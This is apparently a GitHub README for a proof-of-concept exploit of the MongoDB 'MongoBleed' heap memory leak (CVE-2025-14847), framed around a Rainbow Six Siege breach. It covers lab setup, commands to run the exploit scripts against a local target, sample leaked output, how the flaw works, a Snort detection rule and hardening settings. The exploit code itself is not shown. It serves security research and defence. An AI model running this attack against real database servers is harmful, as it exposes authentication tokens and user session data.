CVE-2025-14847 (MongoBleed) - Functional PoC

MongoDB Memory Leak Exploitation - Simulated R6 Attack

Complete Proof of Concept for CVE-2025-14847 (MongoBleed)
Tested: ✅ MongoDB 7.0.5 | 14,300+ Successful Exploits | 4 Leaked UUIDs

🎯 About the Project

This repository contains a fully functional Proof of Concept (PoC) for the vulnerability CVE-2025-14847, known as MongoBleed — a critical pre‑authentication heap memory disclosure flaw in MongoDB.

Context: The Rainbow Six Siege Incident

In December 2025, the game Rainbow Six Siege suffered a massive attack compromising ~50,000 player accounts. Attackers are suspected to have exploited this vulnerability in the backend MongoDB to leak:

• 🔑 Server authentication tokens (R6S_SERVER_AUTH_*)
• 👤 Player UUIDs and session IDs
• 🛡️ Administrative privilege flags (TOURNAMENT_ADMIN, DEV_BUILD_WHITELIST)

This PoC simulates the attack with realistic R6 data.

🔥 Features

• ✅ 100% Functional Exploit against MongoDB 7.0.5
• ✅ 3 Exploitation Tools:
  • poc.py - Main exploit with pattern analysis
  • live_leaker.py - Advanced incremental scanning
  • popular_heap.py - Script to populate heap with target data
• ✅ Complete Docker Environment with vulnerable MongoDB
• ✅ 1500+ Simulated Documents from R6 backend
• ✅ Automatic Detection of 10 sensitive patterns (JWT, tokens, UUIDs, IPs)
• ✅ Structured JSON Reports
• ✅ Full Technical Documentation (200+ pages)

📊 Validated Results

Extracted UUIDs (Real Proof)

246434ed-759b-4ce9-bb9c-2f520a9919b8
980ab3a7-0230-4718-aa2d-fb28feafd7f5
1052a310-4cdc-492f-9890-465d76baba9b
f20debfa-298d-48e3-b3b9-9a0e037c0fbd

🚀 Quick Start

Prerequisites

• Docker & Docker Compose
• Python 3.8+

Installation

# Clone the repository
git clone CVE-2025-14857-MongoBleed.git
cd MongoDBPoc

# Start the vulnerable environment
docker-compose up -d

# Wait for initialization (15-20s)
docker logs cve-2025-14847-lab | grep "R6 MASSIVE"

Basic Usage

# 1. Populate heap with R6 data
python3 popular_heap.py 50

# 2. Check vulnerability
python3 poc.py --target 127.0.0.1 --check

# 3. Exploit with live leaker (RECOMMENDED)
timeout 30 python3 live_leaker.py --host 127.0.0.1 --min 200 --max 3000 --save results.json

Expected Output

[!] MongoBleed Advanced Live Leaker
[!] Target: 127.0.0.1:27017
[!] Range: doc_len 200 → 3000 (offset=500)

[*] Progress: doc_len=245/3000 | Attempts=100 | Success rate=100.0%

[!] R6 PATTERNS DETECTED (doc_len=245):
    [UUID] 1 new:
      └─ 246434ed-759b-4ce9-bb9c-2f520a9919b8

🔬 How It Works

Vulnerability Mechanism

MongoDB allows message compression via zlib. The vulnerability lies in inadequate validation of declared vs. actual size:

Attacker → {compress: "zlib", uncompressedSize: 1MB, payload: <50 bytes>}
          ↓
Server allocates 1MB of heap  ← VULNERABILITY
          ↓
Server decompresses only 50 bytes
          ↓
Server returns the full 1MB!
          └─ 50 bytes = real data
          └─ ~1MB - 50 = MEMORY LEAK

Vulnerable Code (Simplified)

// BEFORE PATCH
size_t uncompressedSize = header.uncompressedSize;  // ← Attacker controlled
buffer = malloc(uncompressedSize);                  // ← Allocates malicious size
zlib_decompress(compressed, buffer);
send(buffer, uncompressedSize);                     // ← LEAKS ENTIRE BUFFER

📂 Project Structure

MongoDBPoc/
├── poc.py                          # Main exploit
├── live_leaker.py                  # Incremental scanning (✨ Recommended)
├── popular_heap.py                 # Load script
├── docker-compose.yml              # Vulnerable MongoDB 7.0.5
├── init-db.js                      # 1000 players + 500 R6 sessions
├── FULL_TECHNICAL_GUIDE.md        # Detailed documentation (200+ pages)
├── README.MD                       # Documentation in English
└── Portugues/                      # Translated versions
    ├── poc_PT.py
    ├── README_PT.md
    └── QUICK_GUIDE.md

🛡️ Affected Versions

🛡️ Detection & Defense

Snort Signature

alert tcp any any -> any 27017 (
    msg:"CVE-2025-14847 MongoBleed Attempt";
    content:"|d4 07 00 00|";
    byte_test:4,>,1000000,4,little;
    sid:2025001;
)

Secure Configuration (mongod.conf)

net:
  bindIp: 127.0.0.1              # NEVER 0.0.0.0!
  compression:
    compressors: []              # Disable zlib

security:
  authorization: enabled

Mitigation Priorities

1. 🔴 CRITICAL: Update to patched version
2. 🟠 HIGH: Disable zlib compression
3. 🟠 HIGH: Network segmentation (firewall)
4. 🟡 MEDIUM: Enable authentication

📚 Documentation

• FULL_TECHNICAL_GUIDE.md - Complete technical analysis (200+ pages)

  • R6 incident context
  • Vulnerability mechanism
  • Vulnerable vs. fixed code
  • Step‑by‑step execution
  • Results and statistics
  • IDS signatures and hardening

• README.MD - Main documentation (English)

• Portugues/ - Translated versions

⚠️ Legal Notice

THIS TOOL IS FOR AUTHORIZED TESTING AND EDUCATION ONLY.

Unauthorized use is ILLEGAL and may result in:
- Criminal prosecution (Brazilian Law 12.737/2012)
- Heavy fines
- Imprisonment

Always obtain WRITTEN PERMISSION before testing.

Permitted Use

• ✅ Penetration tests with written authorization
• ✅ Academic research in isolated environments
• ✅ Vendor patch verification
• ✅ Security team training

Prohibited Use

• ❌ Scanning or attacking systems without permission
• ❌ Accessing production databases
• ❌ Selling or weaponizing this code

🙏 Credits

Author: Ermenson Jr
License: MIT (Educational Use)
Date: January 2026

References

• MongoDB Security Advisory
• CVE-2025-14847 NVD
• Akamai SIRT: MongoBleed Analysis
• Aikido Security

📧 Contact

For technical questions or collaboration on security research:

• GitHub Issues: Use the Issues tab of this repository
• Academic Email: Available on GitHub profile

🌟 If This Project Was Helpful

• ⭐ Star this repository
• 🔄 Share with the security community
• 📝 Cite in your academic research
• 🐛 Report bugs or improvements via Issues

_{Developed for responsible offensive security research.
Not affiliated with Ubisoft, MongoDB Inc., or Rainbow Six Siege.}

🔒 Use responsibly. Security is for everyone. 🔒